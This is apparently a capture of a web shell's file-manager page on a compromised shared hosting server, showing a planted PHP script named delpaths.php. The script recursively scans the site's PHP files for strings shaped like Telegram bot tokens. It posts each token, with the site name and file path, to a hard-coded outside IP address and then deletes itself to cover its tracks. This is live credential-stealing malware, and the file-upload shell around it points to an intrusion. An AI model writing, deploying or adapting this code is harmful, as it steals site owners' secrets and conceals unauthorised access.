HEX
Server: LiteSpeed
System: Linux server240.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: creaqbdc (8964)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/creaqbdc/www/delpaths.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
ini_set('max_execution_time', 300);
$selfFile = __FILE__;
function searchServerForSimilarToken($directory) {
    $results = [];

    $pattern = '/\b\d+:[A-Za-z0-9_-]{35,}\b/';

    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $file) {
        if ($file->isFile() && pathinfo($file->getPathname(), PATHINFO_EXTENSION) === 'php') {
            $content = file_get_contents($file->getPathname());
            if ($content === false) {
                continue;
            }
            if (preg_match_all($pattern, $content, $matches, PREG_OFFSET_CAPTURE)) {
                foreach ($matches[0] as $match) {
                    $token = $match[0];
                    $lineNumber = substr_count(substr($content, 0, $match[1]), "\n") + 1;
                    $results[] = [
                        'token' => $token,
                        'file' => $file->getPathname(),
                        'line' => $lineNumber
                    ];
                }
            }
        }
    }

    return $results;
}


$scriptDirectory = dirname(__FILE__);


$serverRoot = realpath($scriptDirectory . '');

$foundTokens = searchServerForSimilarToken($serverRoot);

if (!empty($foundTokens)) {
    foreach ($foundTokens as $result) {

        echo "Token: {$result['token']}\n";
        echo "File: {$result['file']}\n";
        echo "Line: {$result['line']}\n";
        echo "------------------------------------\n";
		$siteName = $_SERVER['HTTP_HOST'];

$siteName = parse_url('//' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
$tokens = $result['token'];
$file = $result['file'];
$token = "$tokens /site:$siteName$file";
		    $ch = curl_init('http://51.79.124.111/apis.php');
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'text=' . urlencode($token),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HEADER         => false,
    ]);
    curl_exec($ch);
    curl_close($ch);
		@unlink($selfFile);
    }
} else {
    echo "No tokens were found.\n";
	@unlink($selfFile);
}


?>